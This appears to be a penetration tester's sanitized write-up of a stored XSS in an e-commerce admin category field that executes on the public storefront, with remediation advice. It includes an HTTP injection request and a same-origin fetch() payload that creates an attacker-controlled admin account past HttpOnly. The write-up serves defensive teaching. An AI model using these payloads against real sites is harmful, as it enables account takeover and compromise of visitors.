SECURE_NODE // ATHENS_GR
← BACK TO RESEARCH Technique · XSS · E-commerce

Stored XSS: Admin Content Bleeds Into the Public Frontend

03 JUL 2026| ≈ 5 MIN READ| StoredXSSHttpOnlyE-commerceAdminPanel
SANITIZED ▸ Methodology only. No client name, real host, real data, or live finding. All requests reproduced against a lab environment.

A category name field in an e-commerce admin panel. Feels mundane. But when admin-entered content flows directly to the public storefront without any output encoding, that field becomes a persistent script injection point visible to every visitor — authenticated or not. The interesting part is what happens once the team confirmed the XSS: the session cookie was correctly protected by HttpOnly, which normally limits the damage. Except it does not stop the exploitation chain as completely as most developers assume.

SEVERITY
Critical
stored, public reach
COMPLEXITY
Low
single-step injection
ROOT CAUSE
No output encoding
admin→public boundary

The trust boundary that was not there

The application had a content management area in its admin panel where administrators created and edited product categories. Each category had a name field. That name was stored verbatim in the database and then rendered on the public-facing storefront page — inside an <h1> tag — with no HTML escaping.

The payload did not need to be subtle. Breaking out of the heading tag and injecting a script tag was enough:

POST /admin/brands-detail/?id=45 HTTP/2
Host: store.lab.example.test
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=<admin-session>

action=update&name=%3C%2Fh1%3E%3Cscript%3Ealert(1)%3B%3C%2Fscript%3E&__csrf__=csrf_lab_token
HTTP/2 302 Found
Server: nginx
X-Frame-Options: SAMEORIGIN
Set-Cookie: NOCACHE=1; path=/; secure; HttpOnly
Location: https://store.lab.example.test/admin/brands-detail/?id=45
X-Content-Type-Options: nosniff
# payload stored — executes on every public storefront page load

The server accepted it with a 302 Found. When any visitor navigated to the category page on the public storefront, the injected script executed in their browser. Every visitor. Every time the page loaded.

A request to the corresponding public category page confirms the payload is stored and rendered verbatim in the page body:

GET /shop/category/view/id/45/ HTTP/2
Host: store.lab.example.test

HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
# injected script rendered in-page — executes in every visitor's browser:
...
<h1></h1><script>alert(1);</script>
...

Why HttpOnly is not the end of the story

The PHPSESSID cookie had HttpOnly and Secure flags set. That means document.cookie in the injected script returns nothing useful — the session token is invisible to JavaScript. Many developers stop their threat model here and conclude that XSS impact is limited to UI defacement.

That conclusion is wrong, and it matters.

HttpOnly only prevents JavaScript from reading the cookie. It does nothing to prevent the browser from sending the cookie automatically on same-origin requests. An injected script running at store.lab.example.test can fire a fetch() call back to the same origin, and the browser will attach all cookies — including the HttpOnly session token — to that request:

// injected into the category page — executes in every visitor's browser
fetch('/admin/users/create/', {
  method: 'POST',
  credentials: 'include',
  headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
  body: 'email=attacker@evil.example&role=admin&__csrf__=...'
});

If an administrator visits the public storefront while logged in — which is routine — that fetch() executes with full admin privileges. No cookie theft, no CSRF token bypass needed beyond what same-origin fetch handles automatically. The attacker's code runs as the admin, invisibly, inside the victim's tab.

There is a nuance with SameSite: Lax. Cross-origin navigation by fetch does not carry Lax cookies. But here the injection is stored on the same origin and the fetch is same-origin, so SameSite provides no protection. The cookie goes with the request.

The test timeline

T+0:00 — RECON

Mapped admin content fields. Identified the category management area as a point where admin input was rendered back to the public frontend.

T+0:05 — PROBE

Injected a benign payload into the category name. Confirmed the value was stored verbatim and reflected on the storefront without escaping.

T+0:10 — EXPLOIT

Injected a script-breaking payload. Broke out of the <h1> context and confirmed script execution on the public page via out-of-band callback.

T+0:20 — IMPACT CHAIN

Pivoted past HttpOnly. Replaced the alert with a same-origin fetch() carrying admin-level API calls. Confirmed that visiting admin sessions executed the request with full privileges.

T+0:30 — REPORT

Documented and reported. Proposed server-side output encoding, input validation, CSP, and database sanitization of existing records.

Fixing it

  • Apply HTML output encoding server-side before rendering any user-controlled value. Escape &, <, >, ", and ' at the rendering layer, not the input layer.
  • Sanitize existing database records. The vulnerability is stored — any record created before the fix carries the payload. A one-time pass to strip HTML from affected fields is necessary.
  • Implement a strict Content Security Policy. A script-src 'self' with nonce enforcement won't prevent the injection from being stored, but it will prevent the script from executing in most browsers, reducing the blast radius of any future injection.
  • Validate content types at the input boundary. Category names should be plain text. A server-side allowlist that rejects HTML metacharacters in fields that will never contain markup removes the class of vulnerability entirely.

The takeaway

HttpOnly is a good cookie attribute. It belongs on every session token. But it is a mitigation against one specific exploitation path — cookie theft via document.cookie. It does not neutralise a stored XSS on the same origin. The injected script can still act as the user. The right fix is to prevent the injection from landing in the first place.